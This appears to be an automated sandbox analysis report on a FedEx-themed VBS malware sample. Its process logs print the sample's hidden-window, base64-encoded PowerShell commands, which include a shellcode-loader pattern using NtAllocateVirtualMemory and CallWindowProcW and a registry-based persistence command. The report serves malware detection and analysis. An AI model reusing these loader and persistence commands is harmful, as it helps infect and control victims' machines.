            Potential malicious VBS script found (suspicious strings)
            Source: Initial file: obj1.ShellExecute MyFile , " -EncodedCommand " & chr(34) & max1 & chr(34),"","",0
            Source: Initial file: obj1.ShellExecute "powershell.exe", " -EncodedCommand " & chr(34) & max1 & chr(34),"","",0
            Very long command line found
            Source: C:\Windows\System32\wscript.exeProcess created: Commandline size = 7909
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: Commandline size = 7928
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: Commandline size = 7928
            Source: C:\Windows\System32\wscript.exeProcess created: Commandline size = 7909Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: Commandline size = 7928Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: Commandline size = 7928Jump to behavior
            Source: Process Memory Space: powershell.exe PID: 7072, type: MEMORYSTRMatched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file, modified = 2021-09-28
            Source: Process Memory Space: powershell.exe PID: 5284, type: MEMORYSTRMatched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file, modified = 2021-09-28
            Source: Process Memory Space: powershell.exe PID: 1760, type: MEMORYSTRMatched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file, modified = 2021-09-28
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_077C1BB612_2_077C1BB6
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_077C862812_2_077C8628
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_077C643012_2_077C6430
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_077C1D1A12_2_077C1D1A
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_077CFB4012_2_077CFB40
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_01256A8812_2_01256A88
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_01256A9812_2_01256A98
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_0125AE6012_2_0125AE60
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_0125AE5012_2_0125AE50
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 20_2_00EF636620_2_00EF6366
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 24_2_0116AD7824_2_0116AD78
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 24_2_0116AE0324_2_0116AE03
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 24_2_06F4BC9F24_2_06F4BC9F
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 24_2_06F442E024_2_06F442E0
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 24_2_06F442E024_2_06F442E0
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 24_2_06F4EB9024_2_06F4EB90
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 24_2_075839A024_2_075839A0
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 24_2_0116769824_2_01167698
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 24_2_0116768A24_2_0116768A
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 28_2_074887E028_2_074887E0
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 28_2_0748000628_2_07480006
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 28_2_074887E028_2_074887E0
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 28_2_0754004028_2_07540040
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 28_2_07543A7028_2_07543A70
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 28_2_0754000628_2_07540006
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 28_2_07544F9828_2_07544F98
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 28_2_07544F8428_2_07544F84
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 29_2_0795CCB829_2_0795CCB8
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 29_2_0796262029_2_07962620
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 29_2_0796C53029_2_0796C530
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 29_2_0796C54029_2_0796C540
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 29_2_0796004029_2_07960040
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 29_2_07A5F7E029_2_07A5F7E0
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 29_2_07A57E0029_2_07A57E00
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 29_2_07A57E0029_2_07A57E00
            Source: 775578748333_FEDEX.vbsInitial sample: Strings found which are bigger than 50
            Source: C:\Windows\System32\wscript.exeSection loaded: windows.staterepositoryps.dllJump to behavior
            Source: 775578748333_FEDEX.vbsReversingLabs: Detection: 11%
            Source: C:\Windows\System32\wscript.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
            Source: unknownProcess created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\775578748333_FEDEX.vbs"
            Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsACAAcABsAGEAdABvAG4Aa
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tm43worv.cmdline
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD568.tmp" "c:\Users\user\AppData\Local\Temp\CSCF0319BB5C3414E72AB519E7A67BBFBFC.TMP"
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess created: C:\Program Files\internet explorer\iexplore.exe c:\program files\internet explorer\iexplore.exe
            Source: unknownProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /b c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)
            Source: unknownProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /b c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsAC
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsAC
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\yy0zjl34.cmdline
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESADA2.tmp" "c:\Users\user\AppData\Local\Temp\CSCB8D22C72555343A48341CA7311A8A12.TMP"
            Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdA